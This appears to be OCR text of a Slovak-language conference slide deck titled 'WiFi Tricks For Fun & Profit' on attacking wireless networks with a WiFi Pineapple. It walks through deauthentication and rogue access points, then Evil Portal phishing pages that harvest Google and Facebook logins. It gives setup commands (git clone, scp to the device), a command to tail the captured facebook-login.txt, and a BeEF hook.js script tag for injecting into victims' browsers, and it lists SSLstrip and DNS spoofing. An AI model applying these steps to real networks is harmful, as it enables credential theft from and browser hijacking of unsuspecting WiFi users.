WiFI Tricks
For Fun & Profit




Pouzité zariadenia ™=

Wit Pineapple Nano
USB WiFi dongle
SD karta

Battery pack
Notebook

Tablet/Smartphone
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Wik
802.11 protokol
Bezdrotove datové spojenie
Access Point (AP)
e Pristupovy bod
e Typicky model pripojenia do siete
Service Set ldentifier (SSID)

* "Nalepka” na oznacenie
vysielaného signalu

OSI Pizza Model
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Pasivny utok

» Tazké detegovat’
 Uto¢nik len “poéava’ a nevysiela
o /bieranie SSID

» WarDriving, WarWalking, War(*)ing




Aktivny utok
Man in the Middle
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« Uto¢nik ako prostrednik v
<omunikacii medzi klientom a cielom

» Data su zachytavané, analyzovaneé
a podla potreby upravované

“
é e MItM - “Clovek uprostred” &
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)=\ * Predstavme si Proxy Server




Mame bezpecnu Wik

e

SSID Kav




Ako sI “ziskat” klienta

* Cielové AP “presvietime”

* Deautentifikacny “de-auth” utok
» Otvorené WiFi siet'e A

 RougeAP - agresivne odpovede

e Evil Portal




cvil Portal

“Captive Portal” pre pristup do WiFi
Socialne inzinierstvo a “phishing”

Ziskavanie citlivych udajov a instalacia malware

Klonovat je mozné lubovolny portal




cvil Portal

* Hotové rieSenie - https://github.com/kbeflo/evilportals

e Stranka pod nasou spravou

e Zaujimave su hlavne Google a Facebook ucty
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Sign in to network
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https://github.com/kbeflo/evilportals

Priprava prostredia

e git clone https://github.com/kbeflo/
. evilportals

e scp-R ./*root@172.16.42.1:/sd/portals/



mailto:root@172.16.42.1

Pripojenie klienta

 Nechamie klienta pripoijit sa do siete

e Sledujeme aktivitu:

e ssh-lroot 172.16.42.1 Slele

e tail -f /sd/evilportal-logs/facebook-login.txt
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HTTP Snitter

e HTTP URL
e Cookies
e HTTP POST data

e Obrazky
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The Browser exploitation
Framework

e <script src="http://172.16.42.42:3000/hook.js"></script>

e http://127.0.0.1:3000/ui/panel

o beef/beef




Co mdZeme vidiet'?

o SSLstrip aka “HTTPS downgrade”

* Ngrep

« HTTP Strict Transport Security
e urlsnarf

e HSTS preload list v prehliadacoch
e tcpdump

« HPKP HTTP Public Key Pinning




Ako “ohnut’” Internet?

* DNS spoofing - manipulacia DNS

e HTTP Proxy

e Socialne inzinierstvo

e [Frame insert
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Dakujem za pozornost




